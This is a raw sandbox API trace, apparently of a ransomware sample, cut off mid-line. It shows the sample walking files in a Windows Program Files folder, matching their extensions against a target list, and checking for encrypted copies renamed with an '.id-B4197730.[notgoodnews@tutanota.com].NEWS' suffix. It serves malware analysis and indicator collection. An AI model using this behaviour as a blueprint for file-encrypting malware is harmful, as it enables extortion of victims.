lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.541] lstrlenW (lpString=".1cd") returned 4 [0193.541] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.541] lstrlenW (lpString=".jpg") returned 4 [0193.541] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.541] lstrlenW (lpString=".doc") returned 4 [0193.541] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString=".docx") returned 5 [0193.541] lstrcmpiW (lpString1=".docx", lpString2="s.xml") returned -1 [0193.541] lstrlenW (lpString=".pdf") returned 4 [0193.541] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString=".xls") returned 4 [0193.541] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString=".xlsx") returned 5 [0193.541] lstrcmpiW (lpString1=".xlsx", lpString2="s.xml") returned -1 [0193.541] lstrlenW (lpString=".ppt") returned 4 [0193.541] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.541] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.541] lstrlenW (lpString=".zip") returned 4 [0193.541] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.542] lstrlenW (lpString=".rar") returned 4 [0193.542] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.542] lstrlenW (lpString=".bz2") returned 4 [0193.542] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.542] lstrlenW (lpString=".7z") returned 3 [0193.542] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.542] lstrlenW (lpString=".dbf") returned 4 [0193.542] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.542] lstrlenW (lpString=".1cd") returned 4 [0193.542] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.542] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipschs.xml") returned 61 [0193.542] lstrlenW (lpString=".jpg") returned 4 [0193.542] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.542] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.542] lstrlenW (lpString="ipscht.xml") returned 10 [0193.542] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.542] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=2436) returned 1 [0193.543] CloseHandle (hObject=0x33c) returned 1 [0193.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml")) returned 0x20 [0193.543] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.543] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscht.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.543] lstrlenW (lpString=".doc") returned 4 [0193.543] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.543] lstrlenW (lpString=".docx") returned 5 [0193.543] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0193.543] lstrlenW (lpString=".pdf") returned 4 [0193.543] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.543] lstrlenW (lpString=".xls") returned 4 [0193.543] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.543] lstrlenW (lpString=".xlsx") returned 5 [0193.543] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0193.543] lstrlenW (lpString=".ppt") returned 4 [0193.543] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.543] lstrlenW (lpString=".zip") returned 4 [0193.543] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.543] lstrlenW (lpString=".rar") returned 4 [0193.543] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.543] lstrlenW (lpString=".bz2") returned 4 [0193.543] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.543] lstrlenW (lpString=".7z") returned 3 [0193.543] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.543] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.543] lstrlenW (lpString=".dbf") returned 4 [0193.544] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.544] lstrlenW (lpString=".1cd") returned 4 [0193.544] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.544] lstrlenW (lpString=".jpg") returned 4 [0193.544] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.544] lstrlenW (lpString=".doc") returned 4 [0193.544] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString=".docx") returned 5 [0193.544] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0193.544] lstrlenW (lpString=".pdf") returned 4 [0193.544] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString=".xls") returned 4 [0193.544] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString=".xlsx") returned 5 [0193.544] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0193.544] lstrlenW (lpString=".ppt") returned 4 [0193.544] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.544] lstrlenW (lpString=".zip") returned 4 [0193.544] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.544] lstrlenW (lpString=".rar") returned 4 [0193.544] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString=".bz2") returned 4 [0193.544] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString=".7z") returned 3 [0193.544] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.544] lstrlenW (lpString=".dbf") returned 4 [0193.544] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.544] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.544] lstrlenW (lpString=".1cd") returned 4 [0193.545] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscht.xml") returned 61 [0193.545] lstrlenW (lpString=".jpg") returned 4 [0193.545] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.545] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.545] lstrlenW (lpString="ipscsy.xml") returned 10 [0193.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.545] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=2556) returned 1 [0193.545] CloseHandle (hObject=0x33c) returned 1 [0193.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml")) returned 0x20 [0193.545] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscsy.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.546] lstrlenW (lpString=".doc") returned 4 [0193.546] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString=".docx") returned 5 [0193.546] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0193.546] lstrlenW (lpString=".pdf") returned 4 [0193.546] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString=".xls") returned 4 [0193.546] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString=".xlsx") returned 5 [0193.546] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0193.546] lstrlenW (lpString=".ppt") returned 4 [0193.546] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.546] lstrlenW (lpString=".zip") returned 4 [0193.546] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.546] lstrlenW (lpString=".rar") returned 4 [0193.546] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString=".bz2") returned 4 [0193.546] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString=".7z") returned 3 [0193.546] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.546] lstrlenW (lpString=".dbf") returned 4 [0193.546] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.546] lstrlenW (lpString=".1cd") returned 4 [0193.546] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.546] lstrlenW (lpString=".jpg") returned 4 [0193.546] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.546] lstrlenW (lpString=".doc") returned 4 [0193.547] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.547] lstrlenW (lpString=".docx") returned 5 [0193.547] lstrcmpiW (lpString1=".docx", lpString2="y.xml") returned -1 [0193.547] lstrlenW (lpString=".pdf") returned 4 [0193.547] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.547] lstrlenW (lpString=".xls") returned 4 [0193.547] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.547] lstrlenW (lpString=".xlsx") returned 5 [0193.547] lstrcmpiW (lpString1=".xlsx", lpString2="y.xml") returned -1 [0193.547] lstrlenW (lpString=".ppt") returned 4 [0193.547] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.547] lstrlenW (lpString=".zip") returned 4 [0193.547] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.547] lstrlenW (lpString=".rar") returned 4 [0193.547] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.547] lstrlenW (lpString=".bz2") returned 4 [0193.547] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.547] lstrlenW (lpString=".7z") returned 3 [0193.547] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.547] lstrlenW (lpString=".dbf") returned 4 [0193.547] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.547] lstrlenW (lpString=".1cd") returned 4 [0193.547] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscsy.xml") returned 61 [0193.547] lstrlenW (lpString=".jpg") returned 4 [0193.547] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.547] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.547] lstrlenW (lpString="ipsdan.xml") returned 10 [0193.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.548] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=2514) returned 1 [0193.548] CloseHandle (hObject=0x33c) returned 1 [0193.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml")) returned 0x20 [0193.548] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.548] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdan.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.548] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.548] lstrlenW (lpString=".doc") returned 4 [0193.548] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.548] lstrlenW (lpString=".docx") returned 5 [0193.548] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0193.548] lstrlenW (lpString=".pdf") returned 4 [0193.548] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.548] lstrlenW (lpString=".xls") returned 4 [0193.548] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.548] lstrlenW (lpString=".xlsx") returned 5 [0193.549] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0193.549] lstrlenW (lpString=".ppt") returned 4 [0193.549] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.549] lstrlenW (lpString=".zip") returned 4 [0193.549] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.549] lstrlenW (lpString=".rar") returned 4 [0193.549] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.549] lstrlenW (lpString=".bz2") returned 4 [0193.549] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.549] lstrlenW (lpString=".7z") returned 3 [0193.549] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.549] lstrlenW (lpString=".dbf") returned 4 [0193.549] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.549] lstrlenW (lpString=".1cd") returned 4 [0193.549] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.549] lstrlenW (lpString=".jpg") returned 4 [0193.549] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.549] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.549] lstrlenW (lpString=".doc") returned 4 [0193.549] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.550] lstrlenW (lpString=".docx") returned 5 [0193.550] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0193.550] lstrlenW (lpString=".pdf") returned 4 [0193.550] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.550] lstrlenW (lpString=".xls") returned 4 [0193.550] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.550] lstrlenW (lpString=".xlsx") returned 5 [0193.550] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0193.550] lstrlenW (lpString=".ppt") returned 4 [0193.550] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.550] lstrlenW (lpString=".zip") returned 4 [0193.550] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.550] lstrlenW (lpString=".rar") returned 4 [0193.550] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.550] lstrlenW (lpString=".bz2") returned 4 [0193.550] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.550] lstrlenW (lpString=".7z") returned 3 [0193.550] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.550] lstrlenW (lpString=".dbf") returned 4 [0193.550] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.550] lstrlenW (lpString=".1cd") returned 4 [0193.550] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.550] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdan.xml") returned 61 [0193.550] lstrlenW (lpString=".jpg") returned 4 [0193.550] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.550] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.550] lstrlenW (lpString="ipsdeu.xml") returned 10 [0193.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.551] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=2616) returned 1 [0193.551] CloseHandle (hObject=0x33c) returned 1 [0193.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml")) returned 0x20 [0193.551] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.551] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsdeu.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0193.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.551] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.551] lstrlenW (lpString=".doc") returned 4 [0193.551] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.551] lstrlenW (lpString=".docx") returned 5 [0193.551] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0193.551] lstrlenW (lpString=".pdf") returned 4 [0193.551] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.551] lstrlenW (lpString=".xls") returned 4 [0193.551] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.551] lstrlenW (lpString=".xlsx") returned 5 [0193.552] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0193.552] lstrlenW (lpString=".ppt") returned 4 [0193.552] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.552] lstrlenW (lpString=".zip") returned 4 [0193.552] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.552] lstrlenW (lpString=".rar") returned 4 [0193.552] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString=".bz2") returned 4 [0193.552] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString=".7z") returned 3 [0193.552] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.552] lstrlenW (lpString=".dbf") returned 4 [0193.552] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.552] lstrlenW (lpString=".1cd") returned 4 [0193.552] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.552] lstrlenW (lpString=".jpg") returned 4 [0193.552] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.552] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.552] lstrlenW (lpString=".doc") returned 4 [0193.552] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString=".docx") returned 5 [0193.552] lstrcmpiW (lpString1=".docx", lpString2="u.xml") returned -1 [0193.552] lstrlenW (lpString=".pdf") returned 4 [0193.552] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString=".xls") returned 4 [0193.552] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0193.552] lstrlenW (lpString=".xlsx") returned 5 [0193.552] lstrcmpiW (lpString1=".xlsx", lpString2="u.xml") returned -1 [0193.552] lstrlenW (lpString=".ppt") returned 4 [0193.552] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0193.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.553] lstrlenW (lpString=".zip") returned 4 [0193.553] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0193.553] lstrlenW (lpString=".rar") returned 4 [0193.553] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0193.553] lstrlenW (lpString=".bz2") returned 4 [0193.553] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0193.553] lstrlenW (lpString=".7z") returned 3 [0193.553] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0193.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.553] lstrlenW (lpString=".dbf") returned 4 [0193.553] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0193.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.553] lstrlenW (lpString=".1cd") returned 4 [0193.553] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0193.553] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsdeu.xml") returned 61 [0193.553] lstrlenW (lpString=".jpg") returned 4 [0193.553] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0193.553] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0193.553] lstrlenW (lpString="ipsel.xml") returned 9 [0193.553] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0193.554] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x294ff14 | out: lpFileSize=0x294ff14*=2618) returned 1 [0193.554] CloseHandle (hObject=0x33c) returned 1 [0193.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml")) returned 0x20 [0193.554] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsel.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0193.554] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml" (normalized: "c:\\program 